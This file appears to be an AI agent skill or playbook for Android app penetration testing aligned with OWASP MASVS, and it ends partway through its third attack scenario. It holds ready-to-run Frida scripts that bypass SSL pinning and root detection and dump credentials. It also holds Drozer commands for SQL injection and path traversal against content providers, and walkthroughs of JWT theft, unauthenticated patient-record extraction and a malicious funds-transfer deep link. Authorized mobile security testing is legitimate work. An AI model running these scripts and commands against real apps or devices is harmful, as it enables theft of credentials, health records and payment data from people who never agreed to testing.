---
name: rt-exploit-android
description: "Android application security testing skill (OWASP MASVS full). Covers APK extraction and decompilation with apktool/jadx, dynamic analysis with Frida and Objection, SSL pinning bypass, root detection bypass, exported components exploitation, insecure data storage extraction (SharedPreferences, SQLite, files), network traffic analysis, and MASVS checklist. Tools: adb, apktool, jadx, frida, objection, MobSF, Drozer."
---

# rt-exploit-android — Android Application Security Testing

## 1. Overview and When to Use

This skill covers end-to-end Android application penetration testing aligned with OWASP MASVS (Mobile Application Security Verification Standard). Use it when:

- A target organization has an Android app in scope (APK from Play Store, private beta, or enterprise MDM)
- You need to assess client-side controls: certificate pinning, root detection, data storage, exported components
- You are performing threat modeling for a mobile-first product
- The engagement includes API testing and the mobile client is the primary API consumer

**Scope of coverage:**
- Static analysis: APK unpacking, manifest review, source code review
- Dynamic analysis: runtime instrumentation with Frida/Objection, traffic interception
- Data storage analysis: SharedPreferences, SQLite, external storage, KeyStore
- Component security: exported Activities, Services, BroadcastReceivers, ContentProviders
- Network security: SSL pinning bypass, certificate validation weaknesses
- Anti-tampering bypass: root detection, emulator detection, integrity checks

---

## 2. Prerequisites and Setup

### 2.1 Hardware / Environment

- Rooted Android device (physical preferred) OR Android emulator with root (AVD with Google APIs image, or Genymotion)
- USB debugging enabled on device (`adb devices` must show the device)
- Test machine running Linux or Windows with WSL2

### 2.2 Tool Installation

#### adb (Android Debug Bridge)
```bash
# Ubuntu/Debian
sudo apt install adb

# macOS
brew install android-platform-tools

# Windows (via Chocolatey)
choco install adb

# Verify
adb version
adb devices
```

#### apktool
```bash
# Download latest jar from https://apktool.org
wget https://github.com/iBotPeaches/Apktool/releases/download/v2.9.3/apktool_2.9.3.jar -O apktool.jar
wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool -O apktool
chmod +x apktool
sudo mv apktool /usr/local/bin/
sudo mv apktool.jar /usr/local/bin/

apktool --version
```

#### jadx (Java Decompiler)
```bash
# Download from https://github.com/skylot/jadx/releases
wget https://github.com/skylot/jadx/releases/download/v1.5.0/jadx-1.5.0.zip
unzip jadx-1.5.0.zip -d jadx
sudo ln -s $(pwd)/jadx/bin/jadx /usr/local/bin/jadx
sudo ln -s $(pwd)/jadx/bin/jadx-gui /usr/local/bin/jadx-gui

jadx --version
```

#### Frida
```bash
# Install frida-tools on test machine
pip3 install frida-tools

# Install frida-server on device (match version to frida-tools)
frida --version  # e.g., 16.2.1

# Download matching frida-server for arm64 (most modern devices)
wget https://github.com/frida/frida/releases/download/16.2.1/frida-server-16.2.1-android-arm64.xz
xz -d frida-server-16.2.1-android-arm64.xz

# Push and start on device
adb push frida-server-16.2.1-android-arm64 /data/local/tmp/frida-server
adb shell chmod 755 /data/local/tmp/frida-server
adb shell /data/local/tmp/frida-server &

# Verify
frida-ps -U
```

#### Objection
```bash
pip3 install objection
objection --help
```

#### MobSF (Mobile Security Framework)
```bash
# Docker (recommended)
docker pull opensecurity/mobile-security-framework-mobsf:latest
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest

# Access at http://localhost:8000
```

#### Drozer
```bash
pip3 install drozer

# Install drozer agent APK on device
wget https://github.com/WithSecureLabs/drozer/releases/download/2.4.4/drozer-agent-2.4.4.apk
adb install drozer-agent-2.4.4.apk

# Forward port
adb forward tcp:31415 tcp:31415

# Connect
drozer console connect
```

### 2.3 Environment Checks
```bash
# Confirm ADB sees device
adb devices

# Confirm root access
adb shell su -c 'id'

# Confirm frida-server is running
frida-ps -U | head -20

# Confirm USB debugging and target app is installed
adb shell pm list packages | grep <target>
```

---

## 3. Skill Levels

### BEGINNER — Static Reconnaissance

Focus: APK extraction, manifest review, string hunting

```bash
# Pull APK from device (app must be installed)
adb shell pm path com.target.app
# Output: package:/data/app/com.target.app-1/base.apk
adb pull /data/app/com.target.app-1/base.apk target.apk

# Decode with apktool (resources + smali)
apktool d target.apk -o target_decoded

# Review AndroidManifest.xml
cat target_decoded/AndroidManifest.xml

# Find exported components (android:exported="true")
grep -r 'exported="true"' target_decoded/AndroidManifest.xml

# Decompile to Java with jadx
jadx -d target_jadx target.apk

# Find hardcoded secrets
grep -rn "apikey\|api_key\|password\|secret\|token\|AWS\|Bearer" target_jadx/

# Find URLs and endpoints
grep -rn "http://\|https://" target_jadx/ | grep -v "schemas.android\|w3.org"

# Find Firebase config
grep -rn "firebaseio\|firebase" target_jadx/

# Check for debug flags
grep -rn "debuggable\|BuildConfig.DEBUG" target_jadx/
```

### INTERMEDIATE — Dynamic Analysis and Traffic Interception

Focus: Objection, Frida basics, Burp proxy, SSL bypass

```bash
# Launch app with objection attached
objection -g com.target.app explore

# Inside objection REPL:
# List activities
android hooking list activities

# Dump keystore
android keystore list

# List SharedPreferences files
android filesystem list /data/data/com.target.app/shared_prefs/

# Print SharedPreferences content
android filesystem get /data/data/com.target.app/shared_prefs/prefs.xml

# SSL pinning bypass (one-liner)
android sslpinning disable

# Root detection bypass
android root disable

# Dump memory strings
memory search --string "password"

# List loaded classes
android hooking list classes | grep -i ssl

# Hook a method
android hooking watch class_method com.target.app.network.ApiClient.getToken --dump-args --dump-return

# Configure Burp as proxy for device
# In Burp: Proxy > Options > Add listener on *:8080
adb shell settings put global http_proxy <LHOST>:8080
# Restore after session:
adb shell settings put global http_proxy :0
```

### ADVANCED — Custom Frida Scripts, Component Exploitation, Data Extraction

Focus: Custom instrumentation, Drozer component attacks, deep data extraction

```bash
# Hook class constructor to dump instantiation args
frida -U -l hook_constructor.js com.target.app

# Enumerate all exported activities via Drozer
drozer console connect
run app.activity.info -a com.target.app
run app.activity.start --component com.target.app com.target.app.ui.AdminActivity

# Enumerate exported content providers
run app.provider.info -a com.target.app
run app.provider.query content://com.target.app.provider/users
run app.provider.query content://com.target.app.provider/users --selection "1=1--"

# Enumerate exported services
run app.service.info -a com.target.app

# Enumerate exported broadcast receivers
run app.broadcast.info -a com.target.app
run app.broadcast.send --action com.target.app.RESET_PASSWORD --extra string email admin@target.com

# Extract SQLite databases
adb shell su -c "cp -r /data/data/com.target.app/databases /sdcard/db_dump"
adb pull /sdcard/db_dump ./db_dump
sqlite3 db_dump/app.db .dump
sqlite3 db_dump/app.db ".tables"
sqlite3 db_dump/app.db "SELECT * FROM users;"

# Extract all app data (root required)
adb shell su -c "tar -czf /sdcard/app_data.tar.gz /data/data/com.target.app"
adb pull /sdcard/app_data.tar.gz
tar -xzf app_data.tar.gz

# Check external storage for sensitive data
adb shell ls /sdcard/Android/data/com.target.app/
adb pull /sdcard/Android/data/com.target.app/

# Check log leakage
adb logcat | grep -i "com.target.app\|password\|token\|key"
```

### EXPERT — Anti-Analysis Bypass, Kernel-Level Hooks, Custom APK Patching

Focus: Patching APK for debug, bypassing advanced root detection, multi-dex apps

```bash
# Patch APK to set android:debuggable="true"
apktool d target.apk -o patched
# Edit patched/AndroidManifest.xml: add android:debuggable="true" to <application>
sed -i 's/<application /<application android:debuggable="true" /' patched/AndroidManifest.xml
apktool b patched -o patched.apk

# Re-sign patched APK
keytool -genkey -v -keystore test.keystore -alias test -keyalg RSA -keysize 2048 -validity 10000 -storepass password -keypass password -dname "CN=Test,OU=Test,O=Test,L=Test,ST=Test,C=US"
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore test.keystore -storepass password patched.apk test
zipalign -v 4 patched.apk patched_aligned.apk
adb install patched_aligned.apk

# Bypass advanced root detection with custom Frida script
frida -U -l bypass_root_advanced.js --no-pause com.target.app

# Spawn app with Frida (bypass anti-attach)
frida -U -f com.target.app -l ssl_bypass.js --no-pause

# Handle split APKs (bundle)
bundletool build-apks --bundle=target.aab --output=target.apks --mode=universal
unzip target.apks -d apks_extracted
# Then process universal.apk as normal

# Decompile multi-dex
jadx -d output --deobf target.apk
# If jadx fails on specific dex, extract and process individually
unzip target.apk -d raw
dex2jar raw/classes2.dex -o classes2-dex2jar.jar
jadx -d output2 classes2-dex2jar.jar
```

---

## 4. Step-by-Step Numbered Workflow

### Phase 1: Reconnaissance and APK Acquisition

1. Identify the package name from the Play Store URL or app listing
   ```bash
   # URL format: https://play.google.com/store/apps/details?id=com.target.app
   # Package name: com.target.app
   ```

2. Install the APK on your test device via Play Store or direct install
   ```bash
   adb install target.apk
   # Or if pulling from device where it's already installed:
   adb shell pm path com.target.app
   adb pull <path_from_above> target.apk
   ```

3. Alternatively, download APK without a device using APKPure or apkeep
   ```bash
   pip3 install apkeep
   apkeep -a com.target.app -d APKPure .
   ```

### Phase 2: Static Analysis

4. Decode APK with apktool to get manifest and smali
   ```bash
   apktool d target.apk -o target_static -f
   ```

5. Decompile to Java source with jadx
   ```bash
   jadx -d target_java --deobf --deobf-min 3 --deobf-use-sourcename target.apk 2>/dev/null
   ```

6. Review AndroidManifest.xml for attack surface
   ```bash
   # Check minSdkVersion, targetSdkVersion
   grep -i "sdk\|versionName\|versionCode" target_static/AndroidManifest.xml

   # Find all exported components
   grep -A2 'exported="true"' target_static/AndroidManifest.xml

   # Find activities with intent filters (implicitly exported)
   grep -B5 -A5 "<intent-filter>" target_static/AndroidManifest.xml

   # Check for backup enabled
   grep "allowBackup" target_static/AndroidManifest.xml

   # Check for cleartext traffic permission
   grep "usesCleartextTraffic\|INTERNET\|network_security_config" target_static/AndroidManifest.xml
   ```

7. Hunt for hardcoded secrets and sensitive strings
   ```bash
   # API keys, tokens, passwords
   grep -rn --include="*.java" --include="*.kt" "api_key\|apikey\|secret\|password\|token\|Bearer\|Authorization" target_java/

   # AWS credentials
   grep -rn "AKIA\|aws_access\|aws_secret" target_java/

   # Firebase
   grep -rn "AIzaSy\|firebaseio.com\|google-services" target_java/

   # JWT
   grep -rn "eyJ" target_java/

   # Private keys
   grep -rn "BEGIN RSA\|BEGIN EC\|BEGIN PRIVATE" target_java/

   # Check res/values/strings.xml
   grep -i "key\|secret\|token\|password\|url\|host" target_static/res/values/strings.xml
   ```

8. Check network security config
   ```bash
   cat target_static/res/xml/network_security_config.xml
   # Look for: cleartextTrafficPermitted="true", custom CAs, pinning config
   ```

9. Run automated static scan with MobSF
   ```bash
   # Upload via API
   curl -F "file=@target.apk" http://localhost:8000/api/v1/upload \
     -H "Authorization: <mobsf-api-key>"
   # Retrieve report from http://localhost:8000
   ```

### Phase 3: Dynamic Analysis Setup

10. Start frida-server on device
    ```bash
    adb shell "su -c '/data/local/tmp/frida-server &'"
    # Verify
    frida-ps -U | grep target
    ```

11. Configure Burp Suite proxy
    ```bash
    # On Burp: Proxy > Options > Bind to *:8080
    # Install Burp CA on device:
    adb push burp_ca.der /sdcard/burp_ca.der
    # On device: Settings > Security > Install certificate > burp_ca.der

    # Set device proxy
    adb shell settings put global http_proxy <LHOST>:8080
    ```

12. Launch app with Objection
    ```bash
    objection -g com.target.app explore
    ```

### Phase 4: SSL Pinning Bypass

13. Attempt automatic bypass with Objection
    ```bash
    # Inside objection:
    android sslpinning disable
    ```

14. If automatic bypass fails, use Frida script (see Section 6 for scripts)
    ```bash
    frida -U -f com.target.app -l universal_ssl_bypass.js --no-pause
    ```

### Phase 5: Root Detection Bypass

15. Disable root checks with Objection
    ```bash
    android root disable
    ```

16. If custom root detection, hook the specific method
    ```bash
    # Find root check methods
    grep -rn "isRooted\|checkRoot\|detectRoot\|RootBeer\|RootDetection" target_java/
    # Then hook with Frida (see Section 6)
    ```

### Phase 6: Data Storage Analysis

17. Extract all stored data
    ```bash
    adb shell su -c "ls -la /data/data/com.target.app/"
    adb shell su -c "find /data/data/com.target.app/ -type f" > file_list.txt

    # SharedPreferences
    adb shell su -c "cat /data/data/com.target.app/shared_prefs/*.xml"

    # Databases
    adb shell su -c "sqlite3 /data/data/com.target.app/databases/app.db .dump"

    # Check for world-readable files
    adb shell su -c "find /data/data/com.target.app/ -perm -o+r -type f"
    ```

18. Check external storage
    ```bash
    adb shell "find /sdcard/ -path '*com.target.app*' -type f"
    adb pull /sdcard/Android/data/com.target.app/
    ```

### Phase 7: Component Exploitation

19. Map attack surface with Drozer
    ```bash
    run app.package.attacksurface com.target.app
    ```

20. Exploit exported components (see Scenarios in Section 8)

### Phase 8: Reporting

21. Capture evidence
    ```bash
    # Screenshot
    adb shell screencap /sdcard/screen.png && adb pull /sdcard/screen.png

    # Screen record
    adb shell screenrecord /sdcard/record.mp4
    # Press Ctrl+C to stop, then:
    adb pull /sdcard/record.mp4

    # Save logcat
    adb logcat -d > logcat_dump.txt
    ```

---

## 5. Actual Working Terminal Commands

### APK Extraction and Inspection
```bash
# List all installed packages
adb shell pm list packages -f | grep -i target

# Pull specific APK (base.apk for split APKs)
adb shell pm path com.target.app | sed 's/package://' | xargs -I{} adb pull {} ./

# Check APK signature
apksigner verify --verbose target.apk
jarsigner -verify -verbose -certs target.apk

# List APK contents
unzip -l target.apk

# Extract specific file from APK
unzip target.apk AndroidManifest.xml -d ./manifest_raw
# Note: raw manifest is binary. Use apktool or aapt for readable output:
aapt dump xmltree target.apk AndroidManifest.xml
```

### Frida One-Liners
```bash
# List running processes on device
frida-ps -U

# List installed apps
frida-ps -Uai

# Trace all calls to a class
frida-trace -U -j 'com.target.app.security.*' com.target.app

# Trace native functions
frida-trace -U -i "Java_*" com.target.app

# Dump all classes loaded by app
frida -U -e "Java.perform(function(){ Java.enumerateLoadedClasses({onMatch: function(c){console.log(c)}, onComplete:function(){}}); })" com.target.app

# Spawn with env override
frida -U -f com.target.app --env SOME_VAR=value -l script.js --no-pause
```

### Objection Quick Reference
```bash
# Start session
objection -g com.target.app explore

# Or attach by PID
objection -g <pid> explore

# Key commands inside REPL:
android hooking list activities
android hooking list services
android hooking list receivers
android hooking list classes
android hooking search classes ssl
android hooking watch class android.security.net.config.NetworkSecurityTrustManager
android hooking watch class_method javax.net.ssl.TrustManagerFactory.getTrustManagers --dump-args --dump-return
android intent launch_activity com.target.app.ui.SettingsActivity
android keystore list
android filesystem list /data/data/com.target.app/
android filesystem get /data/data/com.target.app/shared_prefs/login.xml /tmp/login.xml
memory list modules
memory list exports libssl.so
memory search --string "password" --stop-at-first
env
```

### ADB Data Commands
```bash
# Pull entire app data directory (requires root)
adb shell "su -c 'tar czf /sdcard/appdata.tar.gz /data/data/com.target.app'"
adb pull /sdcard/appdata.tar.gz
tar xzf appdata.tar.gz

# Read specific SQLite db
adb shell "su -c 'cat /data/data/com.target.app/databases/users.db'" > users.db
sqlite3 users.db
.tables
.schema users
SELECT * FROM users;

# Check for token in preferences
adb shell "su -c 'cat /data/data/com.target.app/shared_prefs/*.xml'" | grep -i "token\|auth\|session"

# Monitor file creation in real time
adb shell "su -c 'inotifywait -m /data/data/com.target.app/ -e create,modify'"

# Check logcat for sensitive data leakage
adb logcat -v time | grep -E "password|token|key|secret|auth" --color

# Backup app data (if allowBackup=true, no root needed)
adb backup -f backup.ab -noapk com.target.app
dd if=backup.ab bs=1 skip=24 | python3 -c "import zlib,sys; sys.stdout.buffer.write(zlib.decompress(sys.stdin.buffer.read()))" > backup.tar
tar xvf backup.tar
```

---

## 6. Payload Examples with Explanations

### 6.1 Universal SSL Pinning Bypass (Frida)

Save as `ssl_bypass.js`:

```javascript
// Universal SSL Pinning Bypass for Android
// Hooks multiple common SSL pinning implementations
// Works against OkHttp, Retrofit, HttpsURLConnection, TrustManager, and custom implementations

Java.perform(function() {
    console.log("[*] Universal SSL Bypass loading...");

    // --- Bypass 1: TrustManager (HttpsURLConnection) ---
    try {
        var TrustManager = Java.registerClass({
            name: 'com.bypass.TrustManager',
            implements: [Java.use('javax.net.ssl.X509TrustManager')],
            methods: {
                checkClientTrusted: function(chain, authType) {},
                checkServerTrusted: function(chain, authType) {},
                getAcceptedIssuers: function() { return []; }
            }
        });

        var SSLContext = Java.use('javax.net.ssl.SSLContext');
        SSLContext.init.overload(
            '[Ljavax.net.ssl.KeyManager;',
            '[Ljavax.net.ssl.TrustManager;',
            'java.security.SecureRandom'
        ).implementation = function(km, tm, sr) {
            console.log("[+] SSLContext.init() hooked");
            this.init(km, [TrustManager.$new()], sr);
        };
        console.log("[+] TrustManager bypass active");
    } catch(e) {
        console.log("[-] TrustManager bypass failed: " + e);
    }

    // --- Bypass 2: OkHttp3 CertificatePinner ---
    try {
        var CertificatePinner = Java.use('okhttp3.CertificatePinner');
        CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function(hostname, certs) {
            console.log("[+] OkHttp3 CertificatePinner.check() bypassed for: " + hostname);
            return; // Do nothing — skip pin validation
        };
        CertificatePinner.check.overload('java.lang.String', '[Ljava.security.cert.Certificate;').implementation = function(hostname, certs) {
            console.log("[+] OkHttp3 CertificatePinner.check(cert[]) bypassed for: " + hostname);
            return;
        };
        console.log("[+] OkHttp3 CertificatePinner bypass active");
    } catch(e) {
        console.log("[-] OkHttp3 bypass failed: " + e);
    }

    // --- Bypass 3: OkHttp2 CertificatePinner ---
    try {
        var OkHttp2CertPinner = Java.use('com.squareup.okhttp.CertificatePinner');
        OkHttp2CertPinner.check.overload('java.lang.String', '[Ljava.security.cert.Certificate;').implementation = function(hostname, certs) {
            console.log("[+] OkHttp2 CertificatePinner bypassed for: " + hostname);
            return;
        };
        console.log("[+] OkHttp2 CertificatePinner bypass active");
    } catch(e) {
        console.log("[-] OkHttp2 bypass failed: " + e);
    }

    // --- Bypass 4: WebViewClient SSL Error ---
    try {
        var WebViewClient = Java.use('android.webkit.WebViewClient');
        WebViewClient.onReceivedSslError.implementation = function(webView, handler, error) {
            console.log("[+] WebViewClient.onReceivedSslError() bypassed");
            handler.proceed(); // Accept the cert
        };
        console.log("[+] WebViewClient SSL bypass active");
    } catch(e) {
        console.log("[-] WebViewClient bypass failed: " + e);
    }

    // --- Bypass 5: Conscrypt (common in modern apps) ---
    try {
        var ConscryptOpenSSLSocketImpl = Java.use('com.android.org.conscrypt.OpenSSLSocketImpl');
        ConscryptOpenSSLSocketImpl.verifyCertificateChain.implementation = function(certRefs, authMethod) {
            console.log("[+] Conscrypt verifyCertificateChain() bypassed");
        };
        console.log("[+] Conscrypt bypass active");
    } catch(e) {
        console.log("[-] Conscrypt bypass failed: " + e);
    }

    // --- Bypass 6: HostnameVerifier ---
    try {
        var HostnameVerifier = Java.use('javax.net.ssl.HttpsURLConnection');
        HostnameVerifier.setDefaultHostnameVerifier.implementation = function(verifier) {
            console.log("[+] HostnameVerifier replaced");
            var AllowAll = Java.registerClass({
                name: 'com.bypass.AllowAllVerifier',
                implements: [Java.use('javax.net.ssl.HostnameVerifier')],
                methods: {
                    verify: function(hostname, session) { return true; }
                }
            });
            this.setDefaultHostnameVerifier(AllowAll.$new());
        };
        console.log("[+] HostnameVerifier bypass active");
    } catch(e) {
        console.log("[-] HostnameVerifier bypass failed: " + e);
    }

    console.log("[*] SSL bypass setup complete");
});
```

Run with:
```bash
frida -U -f com.target.app -l ssl_bypass.js --no-pause
```

### 6.2 Root Detection Bypass (Frida)

Save as `root_bypass.js`:

```javascript
// Root Detection Bypass
// Targets: RootBeer, SafetyNet, custom checks, su binary checks

Java.perform(function() {
    console.log("[*] Root bypass loading...");

    // --- Bypass 1: RootBeer ---
    try {
        var RootBeer = Java.use('com.scottyab.rootbeer.RootBeer');
        RootBeer.isRooted.implementation = function() {
            console.log("[+] RootBeer.isRooted() -> false");
            return false;
        };
        RootBeer.isRootedWithoutBusyBox.implementation = function() {
            return false;
        };
        console.log("[+] RootBeer bypass active");
    } catch(e) {
        console.log("[-] RootBeer bypass failed: " + e);
    }

    // --- Bypass 2: File existence checks for su/magisk ---
    try {
        var File = Java.use('java.io.File');
        File.exists.implementation = function() {
            var name = this.getAbsolutePath();
            var suspiciousPaths = [
                '/su', '/sbin/su', '/system/bin/su', '/system/xbin/su',
                '/system/app/Superuser.apk', '/data/local/tmp/su',
                '/sbin/magisk', '/system/xbin/which', '/data/adb/magisk',
                '/proc/net/if_inet6', '/proc/tty/drivers'
            ];
            for (var i = 0; i < suspiciousPaths.length; i++) {
                if (name.indexOf(suspiciousPaths[i]) >= 0) {
                    console.log("[+] Blocked File.exists() for: " + name);
                    return false;
                }
            }
            return this.exists();
        };
        console.log("[+] File.exists() root path filter active");
    } catch(e) {
        console.log("[-] File.exists() bypass failed: " + e);
    }

    // --- Bypass 3: Runtime.exec() for su ---
    try {
        var Runtime = Java.use('java.lang.Runtime');
        Runtime.exec.overload('java.lang.String').implementation = function(cmd) {
            if (cmd.indexOf('su') >= 0 || cmd.indexOf('which') >= 0) {
                console.log("[+] Blocked Runtime.exec(): " + cmd);
                throw Java.use('java.io.IOException').$new("Permission denied");
            }
            return this.exec(cmd);
        };
        console.log("[+] Runtime.exec() filter active");
    } catch(e) {
        console.log("[-] Runtime.exec() bypass failed: " + e);
    }

    // --- Bypass 4: Build tags (test-keys check) ---
    try {
        var Build = Java.use('android.os.Build');
        Build.TAGS.value = 'release-keys';
        console.log("[+] Build.TAGS set to release-keys");
    } catch(e) {
        console.log("[-] Build.TAGS bypass failed: " + e);
    }

    // --- Bypass 5: Google SafetyNet Attestation result ---
    try {
        var SafetyNetAttestationResult = Java.use('com.google.android.gms.safetynet.SafetyNetApi$AttestationResponse');
        // Hook the JWS result parsing if app processes it
        console.log("[*] SafetyNet hook — check for custom attestation parsing in app");
    } catch(e) {}

    console.log("[*] Root bypass complete");
});
```

### 6.3 Credential Extraction Hook

Save as `cred_dump.js`:

```javascript
// Dump credentials being passed to login methods

Java.perform(function() {
    // Hook common HTTP client headers
    try {
        var Request = Java.use('okhttp3.Request$Builder');
        Request.addHeader.implementation = function(name, value) {
            if (name.toLowerCase().indexOf('auth') >= 0 ||
                name.toLowerCase().indexOf('token') >= 0 ||
                name.toLowerCase().indexOf('cookie') >= 0) {
                console.log("[CRED] Header: " + name + ": " + value);
            }
            return this.addHeader(name, value);
        };
    } catch(e) {}

    // Hook SharedPreferences writes
    try {
        var Editor = Java.use('android.app.SharedPreferencesImpl$EditorImpl');
        Editor.putString.implementation = function(key, value) {
            if (key.toLowerCase().indexOf('token') >= 0 ||
                key.toLowerCase().indexOf('auth') >= 0 ||
                key.toLowerCase().indexOf('pass') >= 0 ||
                key.toLowerCase().indexOf('session') >= 0) {
                console.log("[CRED] SharedPreferences.putString: " + key + " = " + value);
            }
            return this.putString(key, value);
        };
    } catch(e) {}

    // Hook SQLite writes
    try {
        var SQLiteDatabase = Java.use('android.database.sqlite.SQLiteDatabase');
        SQLiteDatabase.insert.implementation = function(table, nullColumnHack, values) {
            console.log("[DB] INSERT into: " + table + " -> " + values.toString());
            return this.insert(table, nullColumnHack, values);
        };
    } catch(e) {}

    console.log("[*] Credential hooks active");
});
```

### 6.4 Intent-Based Activity Launch (Drozer)

```bash
# Launch an exported activity directly (may bypass authentication)
run app.activity.start --component com.target.app com.target.app.ui.AdminDashboardActivity

# Start with extras (simulating a deep link)
run app.activity.start \
  --component com.target.app com.target.app.ui.ResetPasswordActivity \
  --extra string token "AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA"

# Content Provider SQL injection
run app.provider.query \
  content://com.target.app.provider/accounts \
  --selection "1=1 UNION SELECT username,password,3,4 FROM users--"

# Directory traversal via content provider
run app.provider.read \
  content://com.target.app.fileprovider/../../../data/data/com.target.app/shared_prefs/login.xml
```

---

## 7. Tool Commands with Flags Explained

### apktool
```bash
apktool d target.apk \
  -o output_dir \    # Output directory name
  -f \               # Force overwrite output dir if exists
  -r \               # Do NOT decode resources (faster, keeps binary XML)
  -s \               # Do NOT decode sources (no smali, faster)
  --no-src \         # Skip source decoding
  --only-main-classes  # Only decompile main dex

# Rebuild (after patching smali or manifest)
apktool b output_dir \
  -o rebuilt.apk \   # Output APK path
  -f \               # Force rebuild
  --use-aapt2        # Use aapt2 (required for newer apps)
```

### jadx
```bash
jadx target.apk \
  -d output_dir \             # Output directory
  --deobf \                   # Enable deobfuscation
  --deobf-min 3 \             # Min name length to deobfuscate
  --deobf-use-sourcename \    # Use source file name as class name hint
  --show-bad-code \           # Include code that failed to decompile
  --no-imports \              # Disable imports (full qualified names)
  --threads-count 4 \         # Parallel threads (default: CPU count)
  -e \                        # Export as Gradle project (IDE-ready)
  --single-class com.target.app.MainActivity  # Decompile single class only
```

### frida
```bash
frida \
  -U \                        # USB device
  -D <device-id> \            # Specific device by ID
  -f com.target.app \         # Spawn app (start fresh)
  -n com.target.app \         # Attach by name (app must be running)
  -p <pid> \                  # Attach by PID
  -l script.js \              # Load JavaScript file
  -e "Java.perform(...)" \    # Inline script expression
  --no-pause \                # Don't pause on spawn (auto-resume)
  --timeout 30 \              # Spawn timeout in seconds
  --realm emulated \          # Target emulated realm (default: native)
  -o output.log               # Save console output to file

frida-trace \
  -U \
  -i "open" \                 # Trace native function by name
  -j 'com.target.*!*' \       # Trace all Java methods in package
  -J '*!login*' \             # Trace methods containing "login"
  com.target.app
```

### adb
```bash
adb \
  -s <serial> \               # Target specific device/emulator
  -d \                        # USB device only
  -e \                        # Emulator only

adb shell am start \          # Activity Manager
  -n com.target.app/.MainActivity \  # Component
  -a android.intent.action.VIEW \    # Action
  -d "app://target/reset?token=X" \  # Data URI (deep link)
  -e key value \              # String extra
  -ez key true \              # Boolean extra
  --activity-clear-top        # Clear back stack

adb shell pm \                # Package Manager
  list packages -f \          # List all packages with APK paths
  list packages -3 \          # Third-party only
  path com.target.app \       # Get APK path
  clear com.target.app \      # Clear app data
  disable com.target.app \    # Disable app
  grant com.target.app android.permission.READ_CONTACTS  # Grant permission

adb shell dumpsys \           # System service dumps
  activity com.target.app \   # Activity stack info
  package com.target.app \    # Package info (permissions, paths)
  meminfo com.target.app \    # Memory usage
  battery                     # Battery info
```

### Drozer
```bash
# Inside drozer console:
run app.package.list -f target          # Find packages matching name
run app.package.info -a com.target.app  # Package details
run app.package.attacksurface com.target.app  # Exported components count
run app.activity.info -a com.target.app -u  # Unexported activities too
run app.provider.finduri com.target.app     # Discover content provider URIs
run scanner.misc.readablefiles /data/data/com.target.app  # World-readable files
run scanner.misc.writablefiles /data/data/com.target.app  # World-writable files
run scanner.provider.sqltables --authority com.target.app.provider  # SQL table enum
run scanner.provider.injection -a com.target.app  # Auto SQL injection scan
run scanner.provider.traversal -a com.target.app  # Directory traversal scan
```

---

## 8. Real-World Attack Scenarios

### Scenario 1: Banking App — SSL Pinning Bypass and API Token Theft

**Context:** Client bank has a mobile app. Testers need to intercept API traffic to find IDOR vulnerabilities in the backend. The app implements OkHttp certificate pinning.

**Steps:**

```bash
# 1. Install app and confirm SSL pinning is blocking Burp
# Open app with Burp proxy active — you'll see SSL handshake failures in Burp

# 2. Identify pinning library
grep -rn "CertificatePinner\|TrustKit\|TrustManagerBuilder" target_java/
# Found: okhttp3.CertificatePinner

# 3. Apply Frida bypass
frida -U -f com.bank.app -l ssl_bypass.js --no-pause
# Console output: [+] OkHttp3 CertificatePinner.check() bypassed for: api.bank.com

# 4. Now Burp captures all HTTPS traffic
# Inspect requests for:
# - Authentication tokens in headers
# - User IDs in URL paths (potential IDOR)
# - Sensitive PII in request/response bodies

# 5. Extract stored token from SharedPreferences
adb shell su -c "cat /data/data/com.bank.app/shared_prefs/*.xml" | grep -i "token\|auth"
# Found: <string name="auth_token">eyJhbGciOiJSUzI1NiJ9...</string>

# 6. Decode JWT
echo "eyJhbGciOiJSUzI1NiJ9..." | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool

# 7. Test IDOR with captured token against another user ID
curl -H "Authorization: Bearer eyJhbGciOiJSUzI1NiJ9..." \
     https://api.bank.com/v1/accounts/1001/transactions
# (replace 1001 with another account number)
```

**Finding:** JWT stored in plaintext SharedPreferences; SSL pinning bypassable with Frida; API vulnerable to IDOR.

---

### Scenario 2: Healthcare App — Exported Activity Authentication Bypass

**Context:** Healthcare patient portal has an admin debug activity that was accidentally left exported in the production build.

**Steps:**

```bash
# 1. Inspect manifest for exported activities
apktool d health.apk -o health_static
grep -A10 'exported="true"' health_static/AndroidManifest.xml

# Found:
# <activity android:name=".ui.debug.AdminDebugActivity"
#           android:exported="true">

# 2. Launch directly without authentication
adb shell am start -n com.health.app/.ui.debug.AdminDebugActivity
# App opens AdminDebugActivity without requiring login

# 3. Or via Drozer for more control
drozer console connect
run app.activity.info -a com.health.app
run app.activity.start --component com.health.app com.health.app.ui.debug.AdminDebugActivity

# 4. AdminDebugActivity exposes:
# - All patient records (SQLite dump button)
# - User account management
# - Disable audit logging toggle

# 5. Also check for exported content providers
run app.provider.info -a com.health.app
run app.provider.query content://com.health.app.provider/patients
# Returns all patient records without authentication

# 6. Test for SQL injection in content provider
run scanner.provider.injection -a com.health.app
# Vulnerable parameter found: 'id' field

run app.provider.query \
  content://com.health.app.provider/patients \
  --selection "1=1 UNION SELECT name,ssn,dob,insurance_id FROM patients--"
```

**Finding:** Admin activity exported without authentication gate; content provider allows unauthenticated data access; SQL injection in provider selection parameter.

---

### Scenario 3: E-Commerce App — Insecure Data Storage and Deep Link Takeover

**Context:** E-commerce app stores session data insecurely and has an unvalidated deep link that can transfer funds.

**Steps:**

```bash
# 1. Static analysis — find deep link handlers
grep -rn "getIntent\|getAction\|getData\|parseUri" target_java/ | grep -v "android.content.Intent"
grep -rn "scheme\|host\|pathPrefix" target_static/AndroidManifest.xml

# Found deep link: myapp://checkout/transfer?to=USER&amount=AMT

# 2. Craft malicious deep link
adb shell am start \
  -a android.intent.action.VIEW \
  -d "myapp://checkout/transfer?to=attacker_account&amount=9999" \
  com.shop.app

# App initiates transfer without re-authentication!

# 3. Check data storage
adb shell su -c "find /data/data/com.shop.app/ -type f" | head -30

# Pull database
adb shell su -c "cat /data/data/com.shop.app/databases/shop.db" > shop.db
sqlite3 shop.db ".tables"
# Tables: users, sessions, orders, payment_methods

sqlite3 shop.db "SELECT * FROM payment_methods;"
# Plaintext credit card numbers stored locally!

